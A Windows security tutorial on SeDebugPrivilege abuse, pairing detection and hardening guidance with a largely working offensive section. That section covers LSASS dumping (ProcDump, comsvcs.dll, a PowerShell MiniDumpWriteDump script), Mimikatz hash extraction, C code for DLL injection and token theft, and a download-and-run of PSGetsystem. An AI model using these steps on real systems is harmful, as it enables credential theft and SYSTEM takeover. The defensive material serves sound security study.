SeDebugPrivilege exploitation showing LSASS memory dumping and credential extraction

SeDebugPrivilege Exploitation

SeDebugPrivilege exploitation in Windows — LSASS dumping, process injection, and privilege escalation techniques.

Jan 12, 2026
Updated Dec 11, 2025
2 min read

Introduction

The SeDebugPrivilege is a highly privileged Windows user right that poses significant security risks when misused. This privilege grants a user the ability to debug and manipulate any process running on the system, including those owned by the SYSTEM account and other highly privileged security contexts. Understanding how this privilege can be abused is critical for both offensive security practitioners and defensive teams seeking to protect their Windows environments.

Critical Privilege

SeDebugPrivilege effectively grants near-SYSTEM level access to a Windows host. Any user with this privilege enabled can access sensitive memory, inject code into privileged processes, and escalate to full SYSTEM privileges with relative ease.

What is SeDebugPrivilege?

SeDebugPrivilege is a Windows user right that allows a security principal to debug programs and access process memory that would normally be protected. This privilege is granted through the "Debug programs" policy setting, typically found in Group Policy under:

  • Computer ConfigurationWindows SettingsSecurity SettingsLocal PoliciesUser Rights Assignment

By default, only members of the Administrators group are granted this privilege. However, misconfigurations can lead to non-administrative users receiving this powerful right, often due to:

  • Development Requirements: Developers needing to debug applications and system components
  • Service Account Configurations: Specialized service accounts requiring elevated debugging capabilities
  • Troubleshooting Tools: Support staff needing access to diagnostic utilities
  • Overly Permissive Group Policies: Broad GPO assignments without proper risk assessment

Understanding the Security Model

Normal Process Isolation

Windows implements a robust process isolation model where:

  1. Each process operates within its own virtual address space
  2. Memory is protected by Access Control Lists (ACLs)
  3. Cross-process memory access requires specific permissions
  4. Security descriptors control what operations are allowed

SeDebugPrivilege Bypass

When a user possesses SeDebugPrivilege, these normal protections are effectively bypassed:

  • Memory Access: Read and write to any process's memory space
  • Handle Duplication: Duplicate handles from privileged processes
  • Process Injection: Inject code into high-privilege contexts
  • Token Manipulation: Access and modify process tokens

Why This Exists

SeDebugPrivilege exists for legitimate purposes: kernel debugging, crash dump analysis, advanced troubleshooting, and system component development. The privilege is necessary but must be tightly controlled.

Exploitation Techniques

Enumeration and Discovery

Step 1: Check Current Privileges

The first step in any privilege abuse scenario is to identify whether the current user context has SeDebugPrivilege:

whoami /priv

Example output showing SeDebugPrivilege:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Disabled vs Enabled

A privilege showing "Disabled" can still be enabled programmatically by the user. The key is whether the privilege is listed at all — if present, it can be leveraged.

Step 2: Identify Target Processes

Once SeDebugPrivilege is confirmed, identify high-value target processes running as SYSTEM or other privileged accounts:

# List all processes with their usernames
Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*SYSTEM*"} | Select-Object ProcessName, Id, UserName

# Alternative using tasklist
tasklist /v /fi "USERNAME eq NT AUTHORITY\SYSTEM"

Key target processes include:

  • lsass.exe: Local Security Authority Subsystem Service (credentials, tokens)
  • winlogon.exe: Windows Logon process (SYSTEM context)
  • services.exe: Service Control Manager (manages all Windows services)
  • wininit.exe: Windows initialization process
  • csrss.exe: Client/Server Runtime Subsystem

Step 3: Verify Access

Test that you can actually interact with the target process using your privilege:

# Attempt to read process memory
$proc = Get-Process lsass
$proc.Handle

Memory Dumping Attacks

One of the most common and effective uses of SeDebugPrivilege is dumping the memory of the LSASS process to extract credentials.

Why Target LSASS?

The Local Security Authority Subsystem Service (lsass.exe) is responsible for:

  • Enforcing security policies
  • Handling user authentication
  • Creating access tokens
  • Managing password changes
  • Storing credentials in memory (plaintext passwords, NTLM hashes, Kerberos tickets)

Using Sysinternals ProcDump

ProcDump is a command-line utility from Microsoft's Sysinternals suite designed to create memory dumps of processes.

# Download ProcDump from Microsoft
# https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

# Create a memory dump of LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp

Advantages:

  • Legitimate Microsoft tool (less likely to be flagged)
  • Reliable and stable
  • Creates complete memory dumps

Example Output:

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[15:25:45] Dump 1 initiated: C:\Temp\lsass.dmp
[15:25:45] Dump 1 writing: Estimated dump file size is 42 MB.
[15:25:45] Dump 1 complete: 43 MB written in 0.5 seconds
[15:25:46] Dump count reached.

Manual Memory Dump via Task Manager

If you have RDP access and cannot upload tools, you can manually dump LSASS:

Open Task Manager (Ctrl+Shift+Esc) and click the "Details" tab

Locate LSASS Process

Find lsass.exe in the process list

Create Dump File

Right-click on lsass.exe and select "Create dump file"

Retrieve the Dump

The dump will be saved to your temp directory:

C:\Users\<username>\AppData\Local\Temp\lsass.DMP

Transfer to Attack System

Copy the dump file to your attack system for offline analysis

Detection Risk

Creating a memory dump through Task Manager generates Event ID 4656 (handle to an object was requested) and may trigger EDR alerts on mature security programs.

PowerShell-Based Memory Dumping

Using native PowerShell and Windows APIs to dump process memory:

# Get LSASS process ID
$proc = Get-Process lsass
$procId = $proc.Id

# Create dump using MiniDumpWriteDump
$DumpPath = "C:\Temp\lsass_$procId.dmp"
$FileStream = New-Object IO.FileStream($DumpPath, [IO.FileMode]::Create)

# P/Invoke MiniDumpWriteDump
$DynAssembly = New-Object System.Reflection.AssemblyName('MiniDump')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MiniDump', $False)
$TypeBuilder = $ModuleBuilder.DefineType('MiniDump', 'Public, Class')
$MethodBuilder = $TypeBuilder.DefinePInvokeMethod('MiniDumpWriteDump',
    'dbghelp.dll',
    [Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static,
    [Reflection.CallingConventions]::Standard,
    [Bool],
    @([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr]),
    [Runtime.InteropServices.CallingConvention]::WinApi,
    [Runtime.InteropServices.CharSet]::Auto)

$MiniDump = $TypeBuilder.CreateType()

# Execute dump
$Handle = $proc.Handle
$Result = $MiniDump::MiniDumpWriteDump($Handle, $procId, $FileStream.SafeFileHandle.DangerousGetHandle(), 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

$FileStream.Close()

if ($Result) {
    Write-Host "[+] Dump created successfully: $DumpPath"
} else {
    Write-Host "[-] Failed to create dump"
}

Using comsvcs.dll (Native Windows DLL)

A stealthier approach using the built-in comsvcs.dll library:

# Get LSASS Process ID
tasklist /fi "imagename eq lsass.exe"

# Use rundll32 to trigger MiniDump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

Example:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 656 C:\Temp\lsass.dmp full

This technique:

  • Uses only native Windows binaries
  • No third-party tools required
  • Lower detection footprint
  • Requires SeDebugPrivilege

Extracting Credentials from Memory Dumps

Once you have a memory dump, use Mimikatz to extract credentials offline:

# Start Mimikatz
mimikatz.exe

# Enable logging (highly recommended)
mimikatz # log

# Load the minidump
mimikatz # sekurlsa::minidump C:\Temp\lsass.dmp

# Extract logon passwords
mimikatz # sekurlsa::logonpasswords

Example Output:

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : administrator
Domain            : CORP
Logon Server      : DC01
Logon Time        : 1/12/2026 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-500
        msv :
         [00000003] Primary
         * Username : administrator
         * Domain   : CORP
         * NTLM     : e19ccf75ee54e06b06a5907af13cef42
         * SHA1     : 7c7bc2a8e1c3f8b7e90a3f2d8b4c5e6f9a0b1c2d
        tspkg :
        wdigest :
         * Username : administrator
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : administrator
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :

NTLM Hash Usage

The extracted NTLM hash can be used in pass-the-hash attacks to authenticate to other systems without knowing the plaintext password, making lateral movement possible.

Process Injection and Code Execution

SeDebugPrivilege enables direct code injection into privileged processes, allowing for privilege escalation and persistence.

DLL Injection into Privileged Processes

Open Target Process

Use OpenProcess with PROCESS_ALL_ACCESS:

HANDLE hProcess = OpenProcess(
    PROCESS_ALL_ACCESS,
    FALSE,
    targetPID
);

Allocate Memory

Allocate memory in the target process for the DLL path:

LPVOID pDllPath = VirtualAllocEx(
    hProcess,
    NULL,
    strlen(dllPath) + 1,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

Write DLL Path

Write the DLL path string into the allocated memory:

WriteProcessMemory(
    hProcess,
    pDllPath,
    dllPath,
    strlen(dllPath) + 1,
    NULL
);

Get LoadLibrary Address

Retrieve the address of LoadLibraryA from kernel32.dll:

LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
    GetModuleHandle("kernel32.dll"),
    "LoadLibraryA"
);

Create Remote Thread

Execute LoadLibraryA in the remote process context:

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)pLoadLibrary,
    pDllPath,
    0,
    NULL
);

Token Manipulation and Impersonation

With SeDebugPrivilege, you can steal tokens from privileged processes:

#include <windows.h>
#include <stdio.h>

BOOL EnablePrivilege(LPCSTR lpPrivilege) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        return FALSE;
    }

    if (!LookupPrivilegeValue(NULL, lpPrivilege, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        CloseHandle(hToken);
        return FALSE;
    }

    CloseHandle(hToken);
    return TRUE;
}

int main() {
    // Enable SeDebugPrivilege
    if (!EnablePrivilege(SE_DEBUG_NAME)) {
        printf("[-] Failed to enable SeDebugPrivilege\n");
        return 1;
    }

    printf("[+] SeDebugPrivilege enabled\n");

    // Open SYSTEM process (e.g., winlogon.exe)
    DWORD winlogonPID = 612; // Replace with actual PID
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, winlogonPID);
    if (!hProcess) {
        printf("[-] Failed to open process\n");
        return 1;
    }

    printf("[+] Opened process handle\n");

    // Open process token
    HANDLE hToken;
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
        printf("[-] Failed to open process token\n");
        CloseHandle(hProcess);
        return 1;
    }

    printf("[+] Opened process token\n");

    // Duplicate token
    HANDLE hDupToken;
    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) {
        printf("[-] Failed to duplicate token\n");
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return 1;
    }

    printf("[+] Duplicated token\n");

    // Create process with duplicated token
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi;

    if (!CreateProcessWithTokenW(hDupToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
        printf("[-] Failed to create process with token\n");
        CloseHandle(hDupToken);
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return 1;
    }

    printf("[+] Successfully spawned SYSTEM shell!\n");

    // Cleanup
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hDupToken);
    CloseHandle(hToken);
    CloseHandle(hProcess);

    return 0;
}

PowerShell-Based Privilege Escalation

For environments where compiling code is not feasible, PowerShell provides a powerful alternative.

PSGetsystem Technique

The PSGetsystem tool leverages SeDebugPrivilege to spawn a SYSTEM shell by inheriting a token from a parent process running as SYSTEM.

Download the Script

# Download PSGetsystem
iwr -Uri "https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1" -OutFile "psgetsys.ps1"

Load the Script

# Import the module
. .\psgetsys.ps1

Identify SYSTEM Process

# Get winlogon PID (runs as SYSTEM)
$pid = (Get-Process winlogon).Id

Execute Escalation

# Spawn SYSTEM shell
[MyProcess]::CreateProcessFromParent($pid, "C:\Windows\System32\cmd.exe", "")

Alternative: Using LSASS PID

# Get LSASS PID and spawn SYSTEM shell in one command
[MyProcess]::CreateProcessFromParent((Get-Process lsass).Id, "powershell.exe", "")

Verification

After spawning the new shell, verify SYSTEM access:

whoami
# Output: nt authority\system

Remote Code Execution Techniques

Parent Process Spoofing

With SeDebugPrivilege, you can create child processes that inherit tokens from arbitrary parent processes:

// Pseudo-code workflow
1. Enable SeDebugPrivilege
2. Open handle to target SYSTEM process
3. Update PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
4. Create process with spoofed parent
5. New process inherits SYSTEM token

This technique is effective for:

  • Bypassing process monitoring
  • Evading parent-child process analysis
  • Maintaining stealth during lateral movement

Thread Context Hijacking

// High-level approach
1. Suspend target thread in privileged process
2. Modify thread context (RIP/EIP register)
3. Point to shellcode location
4. Resume thread execution
5. Shellcode executes in privileged context

Detection and Monitoring

Defending against SeDebugPrivilege abuse requires layered detection across multiple telemetry sources.

Event Log Monitoring

Event ID 4672: Special Privileges Assigned to New Logon

This event is generated when a user logs on and is assigned sensitive privileges, including SeDebugPrivilege.

Key Fields to Monitor:

  • Subject: The user account being granted privileges
  • Privileges: List includes SeDebugPrivilege
  • Logon ID: Correlate with other authentication events

Detection Logic:

SecurityEvent
| where EventID == 4672
| where PrivilegeList contains "SeDebugPrivilege"
| where AccountName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where AccountName !endswith "$"  // Exclude computer accounts
| project TimeGenerated, Computer, AccountName, LogonID, PrivilegeList

Alert Criteria:

  • Non-administrative accounts assigned SeDebugPrivilege
  • Service accounts with SeDebugPrivilege outside maintenance windows
  • Unusual logon times combined with SeDebugPrivilege

Event ID 4656: Handle to an Object Was Requested

Generated when a process requests access to an object (including processes).

Critical for LSASS Access:

SecurityEvent
| where EventID == 4656
| where ObjectName contains "lsass.exe"
| where ProcessName !in (
    "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
    "C:\\Windows\\System32\\svchost.exe"
)
| where AccessMask in ("0x1410", "0x1fffff")  // PROCESS_VM_READ or PROCESS_ALL_ACCESS
| project TimeGenerated, Computer, SubjectUserName, ProcessName, ObjectName, AccessMask

High-Confidence Indicators:

  • Non-system processes accessing LSASS
  • AccessMask 0x1410 (PROCESS_VM_READ) from user processes
  • Multiple sequential LSASS access attempts

Event ID 4663: An Attempt Was Made to Access an Object

Tracks actual object access (after handle request).

LSASS Memory Read Detection:

SecurityEvent
| where EventID == 4663
| where ObjectName contains "lsass.exe"
| where AccessMask contains "0x10"  // PROCESS_VM_READ
| extend ProcessPath = tostring(split(ProcessName, '\\')[-1])
| where ProcessPath !in ("svchost.exe", "csrss.exe", "wininit.exe")

Sysmon Event ID 10: Process Access

Sysmon provides superior visibility into process access attempts.

Sysmon Configuration:

<RuleGroup name="ProcessAccess" groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
  </ProcessAccess>
</RuleGroup>

Detection Query:

SysmonEvent
| where EventID == 10
| where TargetImage endswith "\\lsass.exe"
| where GrantedAccess in ("0x1410", "0x1fffff", "0x143a")
| where SourceImage !endswith "\\svchost.exe"
| summarize AccessCount = count(), FirstAccess = min(TimeGenerated), LastAccess = max(TimeGenerated)
    by Computer, SourceImage, SourceUser, GrantedAccess
| where AccessCount > 1 or GrantedAccess == "0x1fffff"

Baseline Legitimate Access: Create an allow-list of legitimate LSASS access:

  • Windows Defender (MsMpEng.exe)
  • SCCM Client (CcmExec.exe)
  • Backup solutions
  • EDR agents

Behavioral Analytics

Advanced Detection

Modern EDR solutions use behavioral analytics to detect credential dumping attempts without relying solely on signature-based detection.

Indicators of Compromise:

  1. Memory Pattern Analysis

    • Detection of MiniDumpWriteDump API calls targeting LSASS
    • Memory allocation patterns consistent with credential scraping
    • Unusual memory read operations from LSASS process space
  2. Process Ancestry Anomalies

    • cmd.exe or powershell.exe spawning from unexpected parents
    • Processes with SYSTEM tokens but non-SYSTEM parent processes
    • CreateRemoteThread API usage across security boundaries
  3. File System Artifacts

    • .dmp files created in user-writable directories
    • Unusual file write patterns to temp directories
    • ProcDump or Mimikatz on disk (or in-memory)
  4. Network Indicators

    • Exfiltration of large files from temp directories
    • Connections to known credential theft C2 infrastructure
    • SMB lateral movement following credential access

EDR and AV Evasion Techniques Used by Attackers

Defensive Awareness

Understanding attacker evasion techniques is crucial for improving detection coverage. This information is provided for defensive purposes.

Common Evasion Methods:

  • Direct Syscall: Bypassing user-mode hooks by directly invoking syscalls
  • Process Hollowing: Injecting into suspended legitimate processes
  • Reflective Loading: Loading DLLs without using LoadLibrary
  • PPID Spoofing: Making processes appear to have legitimate parents
  • Unhooking: Removing or bypassing EDR hooks in process memory
  • Living Off the Land: Using only native Windows binaries (LOLBins)

Example Detection Bypass:

# Using comsvcs.dll instead of ProcDump
# Appears as rundll32.exe activity (common benign process)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> dump.bin full

Proactive Hunting Queries

Hunt for Anomalous SeDebugPrivilege Usage:

// Hunt for processes enabling SeDebugPrivilege programmatically
SecurityEvent
| where EventID == 4703  // Privilege enabled
| where PrivilegeName == "SeDebugPrivilege"
| where ProcessName !endswith "\\taskmgr.exe"  // Exclude Task Manager
| join kind=inner (
    SecurityEvent
    | where EventID == 4688  // Process creation
    | project NewProcessName, SubjectLogonId, TimeGenerated
) on $left.SubjectLogonId == $right.SubjectLogonId
| where TimeGenerated1 >= TimeGenerated and TimeGenerated1 <= (TimeGenerated + 5m)
| project TimeGenerated, Computer, Account, ProcessName, NewProcessName, CommandLine

Credential Access Timeline:

// Correlate privilege assignment, LSASS access, and outbound connections
let TimeWindow = 10m;
SecurityEvent
| where EventID == 4672 and PrivilegeList contains "SeDebugPrivilege"
| project AssignTime=TimeGenerated, Computer, User=SubjectUserName, LogonId=SubjectLogonId
| join kind=inner (
    SecurityEvent
    | where EventID == 4656 and ObjectName contains "lsass.exe"
    | project AccessTime=TimeGenerated, Computer, LogonId=SubjectLogonId
) on Computer, LogonId
| where AccessTime between (AssignTime .. (AssignTime + TimeWindow))
| join kind=inner (
    NetworkConnectionEvents
    | where RemotePort in (445, 3389, 5985)  // SMB, RDP, WinRM
    | project ConnTime=TimeGenerated, Computer, DestIP=RemoteIP, DestPort=RemotePort
) on Computer
| where ConnTime between (AccessTime .. (AccessTime + TimeWindow))
| project User, Computer, AssignTime, AccessTime, ConnTime, DestIP, DestPort

Mitigation and Hardening

Principle of Least Privilege

Audit Current Assignments

Review all users and groups with SeDebugPrivilege:

# Local Security Policy
secedit /export /areas USER_RIGHTS /cfg C:\Temp\secedit_export.txt
Get-Content C:\Temp\secedit_export.txt | Select-String "SeDebugPrivilege"

# Group Policy Results
gpresult /h C:\Temp\gpreport.html
# Review the report for SeDebugPrivilege assignments

Restrict Privilege Assignment

Modify Group Policy to limit SeDebugPrivilege:

  • Path: Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Debug programs
  • Recommended: Only Administrators group (if necessary)
  • Best Practice: Remove all assignments if not required

Implement Break-Glass Procedures

For environments requiring debug access:

  1. Create a dedicated security group (e.g., "Debug_Admins")
  2. Grant SeDebugPrivilege only to this group
  3. Enable Just-In-Time (JIT) access with approval workflows
  4. Implement time-limited assignments (e.g., 4-hour windows)
  5. Require multi-factor authentication for group membership changes

Document and Justify

Maintain documentation for all SeDebugPrivilege assignments:

  • Business justification
  • Risk acceptance
  • Compensating controls
  • Review schedule

Credential Guard

Windows Credential Guard protects credentials by isolating them in a virtualization-based security (VBS) environment.

How It Protects Against SeDebugPrivilege:

  • LSASS secrets stored in isolated LSA process (lsaiso.exe)
  • Even with SeDebugPrivilege, attackers cannot access isolated memory
  • Kerberos tickets and NTLM hashes protected from dumping

Enable Credential Guard:

# Via Group Policy
# Path: Computer Configuration > Administrative Templates > System > Device Guard
# Setting: Turn On Virtualization Based Security
# Enable: Credential Guard = Enabled with UEFI lock

# Via Registry (requires reboot)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f

# Verify Credential Guard status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

Requirements

Credential Guard requires:

  • Windows 10 Enterprise or Windows Server 2016+
  • UEFI firmware with Secure Boot
  • Virtualization extensions (Intel VT-x or AMD-V)
  • TPM 1.2 or 2.0
  • HVCI (Hypervisor-protected Code Integrity) capable hardware

Restricted Admin Mode for RDP

Prevent credential exposure during RDP sessions:

# Enable Restricted Admin Mode
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

# Connect using Restricted Admin
mstsc.exe /restrictedAdmin

Benefits:

  • Credentials not cached on remote system
  • Mitigates pass-the-hash lateral movement
  • Reduces LSASS exposure surface

Protected Process Light (PPL)

Enable RunAsPPL for LSASS to prevent unauthorized access:

# Enable LSASS PPL protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# Reboot required
Restart-Computer

Effect:

  • LSASS runs as Protected Process Light
  • Even with SeDebugPrivilege, cannot open handle to LSASS
  • Defeats most memory dumping techniques

Limitations:

  • Can be bypassed with kernel-mode exploits
  • Some legitimate software may have compatibility issues
  • Requires testing in environment

Application Control

Use AppLocker or Windows Defender Application Control (WDAC) to prevent credential dumping tools:

<!-- AppLocker Rule Example: Block ProcDump -->
<FilePublisherRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="Block Sysinternals ProcDump" Description="Prevent execution of ProcDump" UserOrGroupSid="S-1-1-0" Action="Deny">
  <Conditions>
    <FilePublisherCondition PublisherName="O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US" ProductName="SYSINTERNALS PROCDUMP" BinaryName="*">
      <BinaryVersionRange LowSection="*" HighSection="*" />
    </FilePublisherCondition>
  </Conditions>
</FilePublisherRule>

Additional Controls:

  • Block common credential dumping tools (Mimikatz, ProcDump, etc.)
  • Restrict PowerShell execution policy
  • Implement Constrained Language Mode for PowerShell
  • Whitelist approved debugging tools

Attack Surface Reduction (ASR) Rules

Microsoft Defender ASR rules provide built-in protection:

# Block credential stealing from LSASS
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled

# Block process creations from PSExec and WMI
Add-MpPreference -AttackSurfaceReductionRules_Ids d1e49aac-8f56-4280-b9ba-993a6d77406c -AttackSurfaceReductionRules_Actions Enabled

Real-World Attack Scenarios

Scenario 1: Developer Workstation Compromise

Initial Access

Attacker gains code execution on developer workstation via phishing with malicious macro

Enumeration

Discovers the developer account has SeDebugPrivilege for debugging production issues

Credential Dumping

Uses comsvcs.dll to dump LSASS without uploading tools:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 656 C:\Users\Public\dump.bin full

Lateral Movement

Extracts domain admin credentials from memory, uses pass-the-hash to access domain controller

Impact

Full domain compromise from a single developer workstation

Lessons Learned:

  • Developers should not have SeDebugPrivilege on workstations
  • Implement privileged access workstations (PAWs) for administrative tasks
  • Separate development and production credentials
  • Enable Credential Guard on all workstations

Scenario 2: Service Account Exploitation

Reconnaissance

Penetration tester identifies backup service account with SeDebugPrivilege through BloodHound analysis

Access Obtained

Compromises backup server through unpatched vulnerability

Privilege Discovery

Discovers service account context has SeDebugPrivilege enabled

Escalation

Uses PowerShell PSGetsystem to spawn SYSTEM shell:

[MyProcess]::CreateProcessFromParent((Get-Process winlogon).Id, "cmd.exe", "")

Persistence

Creates new local administrator account and establishes backdoor

Lessons Learned:

  • Service accounts should have only necessary privileges
  • Use Group Managed Service Accounts (gMSA) with automatic password rotation
  • Monitor for unusual process creation from service accounts
  • Implement privileged session monitoring

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Tools Documentation

Conclusion

SeDebugPrivilege represents a critical security boundary in Windows environments. While essential for legitimate debugging and troubleshooting, its misuse can lead to complete system compromise through credential theft, process injection, and privilege escalation to SYSTEM.

Key Takeaways

  1. Restrict Assignment: SeDebugPrivilege should only be granted when absolutely necessary
  2. Enable Protections: Credential Guard and LSASS PPL significantly reduce exploitation risk
  3. Monitor Actively: Implement robust detection for LSASS access and privilege usage
  4. Defense in Depth: Layer controls at policy, process, and network levels
  5. Continuous Validation: Regularly audit privilege assignments and test detection capabilities

Defense Checklist

  • Audit all accounts with SeDebugPrivilege
  • Remove unnecessary privilege assignments
  • Enable Credential Guard on all compatible systems
  • Configure LSASS RunAsPPL protection
  • Implement Event ID 4672, 4656, and Sysmon Event ID 10 monitoring
  • Deploy Attack Surface Reduction (ASR) rules
  • Create behavioral detection rules for credential access
  • Establish incident response playbook for credential dumping
  • Conduct regular threat hunting for LSASS access
  • Test detection capabilities with authorized red team exercises

By understanding both the offensive techniques and defensive measures around SeDebugPrivilege, security teams can better protect their Windows environments against sophisticated attacks targeting privileged access and credential theft.

Last updated on

On this page

Introduction
What is SeDebugPrivilege?
Understanding the Security Model
Normal Process Isolation
SeDebugPrivilege Bypass
Exploitation Techniques
Enumeration and Discovery
Step 1: Check Current Privileges
Step 2: Identify Target Processes
Step 3: Verify Access
Memory Dumping Attacks
Why Target LSASS?
Navigate to Details Tab
Locate LSASS Process
Create Dump File
Retrieve the Dump
Transfer to Attack System
Extracting Credentials from Memory Dumps
Process Injection and Code Execution
DLL Injection into Privileged Processes
Open Target Process
Allocate Memory
Write DLL Path
Get LoadLibrary Address
Create Remote Thread
Token Manipulation and Impersonation
PowerShell-Based Privilege Escalation
PSGetsystem Technique
Download the Script
Load the Script
Identify SYSTEM Process
Execute Escalation
Remote Code Execution Techniques
Parent Process Spoofing
Thread Context Hijacking
Detection and Monitoring
Event Log Monitoring
Event ID 4672: Special Privileges Assigned to New Logon
Event ID 4656: Handle to an Object Was Requested
Event ID 4663: An Attempt Was Made to Access an Object
Sysmon Event ID 10: Process Access
Behavioral Analytics
EDR and AV Evasion Techniques Used by Attackers
Proactive Hunting Queries
Mitigation and Hardening
Principle of Least Privilege
Audit Current Assignments
Restrict Privilege Assignment
Implement Break-Glass Procedures
Document and Justify
Credential Guard
Restricted Admin Mode for RDP
Protected Process Light (PPL)
Application Control
Attack Surface Reduction (ASR) Rules
Real-World Attack Scenarios
Scenario 1: Developer Workstation Compromise
Initial Access
Enumeration
Credential Dumping
Lateral Movement
Impact
Scenario 2: Service Account Exploitation
Reconnaissance
Access Obtained
Privilege Discovery
Escalation
Persistence
References
MITRE ATT&CK Techniques
Common Weakness Enumeration
Microsoft Documentation
Tools Documentation
Conclusion
Key Takeaways
Defense Checklist
SeDebugPrivilege Exploitation | Drake Axelrod